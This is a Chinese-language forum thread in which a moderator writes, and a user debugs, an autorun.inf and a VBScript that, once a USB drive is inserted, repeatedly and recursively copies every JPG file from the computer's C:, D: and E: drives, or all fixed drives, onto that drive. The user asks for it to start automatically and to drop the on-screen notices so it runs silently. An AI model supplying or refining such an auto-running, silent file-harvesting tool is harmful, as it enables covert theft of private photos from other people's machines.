broly

不能自动运行应该是autorun.inf文件被禁用了，这是防止U盘病毒的做法，或者你顶楼那个autorun.inf写错了，我是复制那里的。提示出错，是不是你U盘没有“资料”这个文件夹？

lyzhangzj

版主，运行的时候出现以下情况（我的U盘是I盘）

脚本：I:/AutoCopy.vbs
行  ：32
字符：7
错误：路径未找到
代码：800A004C
源  ：vbs运行时错误

还有就是U盘插入打开之后不能自动复制呢，还要重新运行AutoCopy.vbs文件。请版主帮忙解决。

broly

Autorun.inf

[autorun]
open=wscript.exe AutoCopy.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe AutoCopy.vbss
复制代码

'保存我为 AutoCopy.vbs
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
	  CopyJpgs("D:\")
	  CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

lyzhangzj

你好版主，我的意思主要是想：
1、插入U盘，打开之后自动后台运行复制程序（需添加一个autorun.inf的文件）；
2、后台自动复制去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口；
3、能把所需的JPG格式文件复制到U盘“资料”根目录下面；
4、能否可以定义一下，只复制电脑的C盘、D盘、E盘。

多谢版主的帮忙。

broly

回复 18# lyzhangzj


    插入U盘自动运行需要在你的U盘加一个autorun.inf的文件。
   你先把所有的需求一次性表达清楚了。我没时间跟你一点一点的讲解

broly

回复 15# lyzhangzj


    什么意思？你的不是JPG文件吗，怎么又变成TXT了？

lyzhangzj

提示35行第7个字符有误，麻烦版主再给修改一下吧：
1、请修改插入U盘自动运行；
2、请修改复制到U盘的‘资料’文件夹根目录下；
3、请去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口。
多谢了，版主。。。

lyzhangzj

请教版主，怎么用不了啊，是不是我那里弄错了。复制到U盘上是什么格式的。

lyzhangzj

行不通啊，怎么直接复制到U盘

lyzhangzj

直接建立TXT文件，复制到U盘。

broly

不用，直接复制到U盘的

lyzhangzj

版主真是好人啊，多谢了，这个要在U盘上建立个文件吗？这个是后台自动运行是吧！

broly

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

broly

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

lyzhangzj

版主，这个代码写起来难度大吗？多谢帮忙啊！